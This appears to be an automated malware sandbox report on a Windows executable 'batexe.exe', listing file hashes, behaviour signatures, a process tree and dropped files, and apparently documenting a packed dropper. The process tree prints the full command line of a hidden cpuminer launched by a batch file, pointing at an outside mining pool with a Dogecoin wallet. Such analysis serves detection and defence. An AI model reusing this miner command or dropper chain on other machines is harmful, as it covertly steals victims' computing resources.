Analysis

  • max time kernel
    298s
  • max time network
    303s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    17/02/2024, 07:06

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Users\Admin\AppData\Local\Temp\878F.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\878F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\878F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2888
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8F8E.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1760

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\878F.tmp\b2e.exe

          Filesize

          3.7MB

          MD5

          ef1f1ab12b24c662df0c7585ab5074bd

          SHA1

          79346e4bbb34760a1ccf362564fe33e61b9508c0

          SHA256

          65c3a8d167034ceed2193e93952f99374b64578ac3766ad01ef850bad8abc3c7

          SHA512

          8b095c8e91f33a5b532d18e16701f446108a8bf3c2e688f654c734abc74429faa741df07313f545d6bdbf461e9ecfce01c627be55f7e26bfd25325dcc2e55699

        • C:\Users\Admin\AppData\Local\Temp\878F.tmp\b2e.exe

          Filesize

          3.5MB

          MD5

          118ca89e703be91e65f729d5db1de8fd

          SHA1

          6ac0d20ed0234f671c2a1590dd6ffd20bf8f825b

          SHA256

          e11a5947da042a6bc61b649a821b24cf37a037f363b4dece5fc21b5ae59528a6

          SHA512

          0c539bd43ef94eafb8230a5ee029d059bca49726500cef97b36bc02f8a70e236e52f7b32ad58a25d95bbebe15208af59d46ce191d032af67aa6dc97e4f4a2f54

        • C:\Users\Admin\AppData\Local\Temp\878F.tmp\b2e.exe

          Filesize

          4.8MB

          MD5

          aa501b6c9131f6086e93f1d4907379ef

          SHA1

          0c87e59a6f1c983ef7037836315565ccbfc40639

          SHA256

          85c1626cff0144af9c2e9020913306b9edcf47bbb62ba8dd71cc22f3c7d3ee66

          SHA512

          bb1cf036d3f876387f72893562a7fb3d6c03ff3f390cf8a9708ad3341e9aed6087ef31d4a67d500076f39b72e7a26f3606220f9ba17236cb0ae19e83fe04fc7b

        • C:\Users\Admin\AppData\Local\Temp\8F8E.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          1.7MB

          MD5

          1fba97c512d3989d92ac0e1c73aa1e35

          SHA1

          38100748f41a5561117879398c785909ed94bb24

          SHA256

          a0e329075dd93e139e7ace15c4c8f6995c1b2223a1607850432e663d47c4b8ad

          SHA512

          c7f4945979ca9e565d4160ea4491dc9bb280f91e6dc4b8b135958bc16abf50e945740d4ea57434ff9f1c496b09f544e0dffcb80e9243059f22fe871592598acf

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          836KB

          MD5

          aeab40ed9a8e627ea7cefc1f5cf9bf7a

          SHA1

          5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

          SHA256

          218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

          SHA512

          c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          1.8MB

          MD5

          0284b7f8a56d440e5772def0420d4e9d

          SHA1

          d7b77cbfa56efb3fcdef518f0e5d240b08130df7

          SHA256

          8c5d87792cd5702ac624ba9bea35b85bdc70979ea59914501fbbbcbd2b7cb1e6

          SHA512

          494d30dc9a7a0ae3a3004ec4938892ce81c6b930daa43bf5ac799d7c18657ce51e52556a69caf6be115fcb36cde621e9dcfbab6800f30f95cd7f5b0673d63a93

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          2.1MB

          MD5

          35d4a2b508189bf6d5a295abdaf4f4d3

          SHA1

          4b5d11edbec4f6f8a6a24e8ff490030cc7cdb642

          SHA256

          b711ee596f725d44e18faa98c84ca1a61b900b239f333fa20fb087b2e75df8c3

          SHA512

          8a92e0e830809e6e932ce2a314cf6b23ee14265c1b902204e84909b87232232a7a1f4120c1396029abeeaed88300e790bf7e73036fbb0d87d1a69e4fd4798087

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          1.9MB

          MD5

          952cf9c1c9be72c2375e13cf518f1eb8

          SHA1

          12e133ab6e333726ca2b047d8b0f44db463ff0de

          SHA256

          1d21d4eff55eb52c29c48cbd3f68942f53b5d7f9b84cd2e5c100d2b792417c19

          SHA512

          c4ccb8985b9a81e03624f1fc4326ed696a16418754aeb55435e98cd9ccb42b55c7207c082803da5b145fdb68108e53bd0b9946e6b8380a58e0306f79da590631

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/1276-8-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/1760-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/1760-69-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-99-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-45-0x000000005B2D0000-0x000000005B368000-memory.dmp

          Filesize

          608KB

        • memory/1760-46-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/1760-47-0x0000000001140000-0x00000000029F5000-memory.dmp

          Filesize

          24.7MB

        • memory/1760-48-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/1760-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2888-53-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/2888-9-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB